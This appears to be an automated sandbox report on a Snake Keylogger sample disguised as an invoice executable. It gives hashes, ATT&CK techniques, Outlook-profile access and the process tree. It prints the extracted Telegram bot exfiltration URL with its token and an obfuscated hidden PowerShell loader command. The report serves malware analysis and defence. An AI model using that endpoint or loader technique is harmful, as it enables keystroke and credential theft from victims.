snakekeylogger | 5ab0a5ce4208a69aee40dbe2a3b580051d643b552f7bfee56338fdf724a81d0e

Analysis

max time kernel
296s
max time network
213s
platform
windows10-2004_x64
resource
win10v2004-20250410-en
resource tags

arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system
submitted
14/04/2025, 15:26

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General

Target

FACTURA Nº 7.2520 1º.exe
Size

1013KB
MD5

200d9fd5a05344273a986a42a29d6043
SHA1

463c1215a8473d4c135af40a5c583544a32a3f17
SHA256

e891f78a266e0c72e86cc6164dbd199f98e6c3f1a830b0185c1e5118092c461a
SHA512

16102a69aaf1289360f7551badf7b334a654481fb318d17b8d8c14004d325d92a052f70068ddc33fa005299fdbe89523cd67b09216d3a6a410736aa9b777db64
SSDEEP

24576:jG8VwDHu09EfvV973tch85j+nJuhUwY+s6iA4GuaJjt8+:qyjvV97dcyjIJuJ26Id+

Score

10^/10

snakekeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7861423597:AAGuw8X75R5fZU_ucABf62dLoKBIKdyyem0/sendMessage?chat_id=7451270736

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 2 IoCs

resource	yara_rule
behavioral1/memory/3752-88-0x0000000000C30000-0x0000000001E84000-memory.dmp	family_snakekeylogger
behavioral1/memory/3752-89-0x0000000000C30000-0x0000000000C56000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4932	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 6 IoCs

flow	pid	Process
28	3752	msiexec.exe
30	3752	msiexec.exe
33	3752	msiexec.exe
35	3752	msiexec.exe
39	3752	msiexec.exe
42	3752	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
27	drive.google.com
28	drive.google.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
42	reallyfreegeoip.org
38	checkip.dyndns.org
41	reallyfreegeoip.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3752	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4932	powershell.exe
3752	msiexec.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Kerystics.txt	FACTURA Nº 7.2520 1º.exe
File opened for modification	C:\Program Files (x86)\bamsens.ini	FACTURA Nº 7.2520 1º.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FACTURA Nº 7.2520 1º.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4932	powershell.exe
4932	powershell.exe
4932	powershell.exe
4932	powershell.exe
4932	powershell.exe
4932	powershell.exe
4932	powershell.exe
4932	powershell.exe
4932	powershell.exe
3752	msiexec.exe
3752	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4932	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	4932	powershell.exe
Token: SeIncreaseQuotaPrivilege	4932	powershell.exe
Token: SeSecurityPrivilege	4932	powershell.exe
Token: SeTakeOwnershipPrivilege	4932	powershell.exe
Token: SeLoadDriverPrivilege	4932	powershell.exe
Token: SeSystemProfilePrivilege	4932	powershell.exe
Token: SeSystemtimePrivilege	4932	powershell.exe
Token: SeProfSingleProcessPrivilege	4932	powershell.exe
Token: SeIncBasePriorityPrivilege	4932	powershell.exe
Token: SeCreatePagefilePrivilege	4932	powershell.exe
Token: SeBackupPrivilege	4932	powershell.exe
Token: SeRestorePrivilege	4932	powershell.exe
Token: SeShutdownPrivilege	4932	powershell.exe
Token: SeDebugPrivilege	4932	powershell.exe
Token: SeSystemEnvironmentPrivilege	4932	powershell.exe
Token: SeRemoteShutdownPrivilege	4932	powershell.exe
Token: SeUndockPrivilege	4932	powershell.exe
Token: SeManageVolumePrivilege	4932	powershell.exe
Token: 33	4932	powershell.exe
Token: 34	4932	powershell.exe
Token: 35	4932	powershell.exe
Token: 36	4932	powershell.exe
Token: SeDebugPrivilege	3752	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3920 wrote to memory of 4932	3920	FACTURA Nº 7.2520 1º.exe	88
PID 3920 wrote to memory of 4932	3920	FACTURA Nº 7.2520 1º.exe	88
PID 3920 wrote to memory of 4932	3920	FACTURA Nº 7.2520 1º.exe	88
PID 4932 wrote to memory of 3752	4932	powershell.exe	93
PID 4932 wrote to memory of 3752	4932	powershell.exe	93
PID 4932 wrote to memory of 3752	4932	powershell.exe	93
PID 4932 wrote to memory of 3752	4932	powershell.exe	93

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\FACTURA Nº 7.2520 1º.exe
"C:\Users\Admin\AppData\Local\Temp\FACTURA Nº 7.2520 1º.exe"
1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3920
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Muyans=gc -raw 'C:\Users\Admin\AppData\Roaming\varices\Pneumatolitic.Fib';$Hjspndings=$Muyans.SubString(72053,3);.$Hjspndings($Muyans)
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4932
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:3752

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4ph3w14y.boa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\varices\Lyophilizer.Con

Filesize
400KB

MD5
c457123e080949ec00063dfac53cc939

SHA1
cf7a8c8c85e38cc5f1668aa22354dcdf87598ab6

SHA256
65b67401e21bac769fb1f4f03ebb41f6b47e85bdf476360082319aa0d32737e2

SHA512
b28e6283ba605d5df46bfeb11009fb875414b0fb22ea78c3ef1c0a52bebfe66261f7ab315713fa3ad8f2b30ce94ad2a084422b3931b303aa3dd06dcd6a1e2e3d

Download Submit
C:\Users\Admin\AppData\Roaming\varices\Pneumatolitic.Fib

Filesize
70KB

MD5
9e7e0b03768d2807c27c66ccbdbc1bdd

SHA1
8904168aa88dc30a0a347429a441709c159a5234

SHA256
53b64aa048464f619ed0f4027a0f8efa7d03c715d15e9521ff68ed40d2df77b2

SHA512
66da94e4e3c662f80b4943cee0aab295e0c14f0bb9487f2c532cca845ba75b6d30a9b0d0b9a23d5fefdcee7492f083aacc9d2f4f7257d92f2daf375fef61d450

Download Submit
memory/3752-87-0x0000000000C30000-0x0000000001E84000-memory.dmp

Filesize
18.3MB

Download
memory/3752-88-0x0000000000C30000-0x0000000001E84000-memory.dmp

Filesize
18.3MB

Download
memory/3752-96-0x0000000024F10000-0x0000000024F1A000-memory.dmp

Filesize
40KB

Download
memory/3752-95-0x00000000255E0000-0x0000000025672000-memory.dmp

Filesize
584KB

Download
memory/3752-94-0x0000000025710000-0x00000000258D2000-memory.dmp

Filesize
1.8MB

Download
memory/3752-93-0x00000000254F0000-0x0000000025540000-memory.dmp

Filesize
320KB

Download
memory/3752-90-0x0000000024A30000-0x0000000024ACC000-memory.dmp

Filesize
624KB

Download
memory/3752-89-0x0000000000C30000-0x0000000000C56000-memory.dmp

Filesize
152KB

Download
memory/4932-55-0x0000000007DA0000-0x0000000007DAA000-memory.dmp

Filesize
40KB

Download
memory/4932-61-0x0000000007E70000-0x0000000007E8A000-memory.dmp

Filesize
104KB

Download
memory/4932-29-0x00000000061A0000-0x00000000064F4000-memory.dmp

Filesize
3.3MB

Download
memory/4932-33-0x0000000006840000-0x000000000685E000-memory.dmp

Filesize
120KB

Download
memory/4932-34-0x0000000006870000-0x00000000068BC000-memory.dmp

Filesize
304KB

Download
memory/4932-35-0x0000000007800000-0x0000000007896000-memory.dmp

Filesize
600KB

Download
memory/4932-36-0x0000000006D30000-0x0000000006D4A000-memory.dmp

Filesize
104KB

Download
memory/4932-37-0x0000000006D80000-0x0000000006DA2000-memory.dmp

Filesize
136KB

Download
memory/4932-38-0x0000000007E90000-0x0000000008434000-memory.dmp

Filesize
5.6MB

Download
memory/4932-40-0x0000000008AC0000-0x000000000913A000-memory.dmp

Filesize
6.5MB

Download
memory/4932-43-0x0000000073EB0000-0x0000000074660000-memory.dmp

Filesize
7.7MB

Download
memory/4932-42-0x0000000070340000-0x000000007038C000-memory.dmp

Filesize
304KB

Download
memory/4932-41-0x0000000007C30000-0x0000000007C62000-memory.dmp

Filesize
200KB

Download
memory/4932-53-0x0000000007C70000-0x0000000007C8E000-memory.dmp

Filesize
120KB

Download
memory/4932-54-0x0000000007CA0000-0x0000000007D43000-memory.dmp

Filesize
652KB

Download
memory/4932-22-0x0000000006120000-0x0000000006186000-memory.dmp

Filesize
408KB

Download
memory/4932-56-0x0000000073EB0000-0x0000000074660000-memory.dmp

Filesize
7.7MB

Download
memory/4932-57-0x0000000073EB0000-0x0000000074660000-memory.dmp

Filesize
7.7MB

Download
memory/4932-58-0x0000000007DC0000-0x0000000007DD1000-memory.dmp

Filesize
68KB

Download
memory/4932-59-0x0000000007E00000-0x0000000007E0E000-memory.dmp

Filesize
56KB

Download
memory/4932-60-0x0000000007E10000-0x0000000007E24000-memory.dmp

Filesize
80KB

Download
memory/4932-19-0x00000000057E0000-0x0000000005802000-memory.dmp

Filesize
136KB

Download
memory/4932-62-0x0000000007E40000-0x0000000007E48000-memory.dmp

Filesize
32KB

Download
memory/4932-63-0x0000000008580000-0x00000000085AA000-memory.dmp

Filesize
168KB

Download
memory/4932-64-0x00000000085B0000-0x00000000085D4000-memory.dmp

Filesize
144KB

Download
memory/4932-65-0x0000000073EB0000-0x0000000074660000-memory.dmp

Filesize
7.7MB

Download
memory/4932-67-0x0000000073EBE000-0x0000000073EBF000-memory.dmp

Filesize
4KB

Download
memory/4932-68-0x0000000073EB0000-0x0000000074660000-memory.dmp

Filesize
7.7MB

Download
memory/4932-69-0x0000000073EB0000-0x0000000074660000-memory.dmp

Filesize
7.7MB

Download
memory/4932-71-0x0000000073EB0000-0x0000000074660000-memory.dmp

Filesize
7.7MB

Download
memory/4932-72-0x0000000073EB0000-0x0000000074660000-memory.dmp

Filesize
7.7MB

Download
memory/4932-73-0x0000000073EB0000-0x0000000074660000-memory.dmp

Filesize
7.7MB

Download
memory/4932-74-0x0000000073EB0000-0x0000000074660000-memory.dmp

Filesize
7.7MB

Download
memory/4932-75-0x0000000009140000-0x000000000DDC2000-memory.dmp

Filesize
76.5MB

Download
memory/4932-76-0x0000000073EB0000-0x0000000074660000-memory.dmp

Filesize
7.7MB

Download
memory/4932-77-0x0000000073EB0000-0x0000000074660000-memory.dmp

Filesize
7.7MB

Download
memory/4932-21-0x0000000005980000-0x00000000059E6000-memory.dmp

Filesize
408KB

Download
memory/4932-20-0x0000000073EB0000-0x0000000074660000-memory.dmp

Filesize
7.7MB

Download
memory/4932-18-0x00000000059F0000-0x0000000006018000-memory.dmp

Filesize
6.2MB

Download
memory/4932-17-0x0000000073EB0000-0x0000000074660000-memory.dmp

Filesize
7.7MB

Download
memory/4932-16-0x00000000031E0000-0x0000000003216000-memory.dmp

Filesize
216KB

Download
memory/4932-15-0x0000000073EBE000-0x0000000073EBF000-memory.dmp

Filesize
4KB

Download
memory/4932-78-0x0000000073EB0000-0x0000000074660000-memory.dmp

Filesize
7.7MB

Download
memory/4932-80-0x0000000073EB0000-0x0000000074660000-memory.dmp

Filesize
7.7MB

Download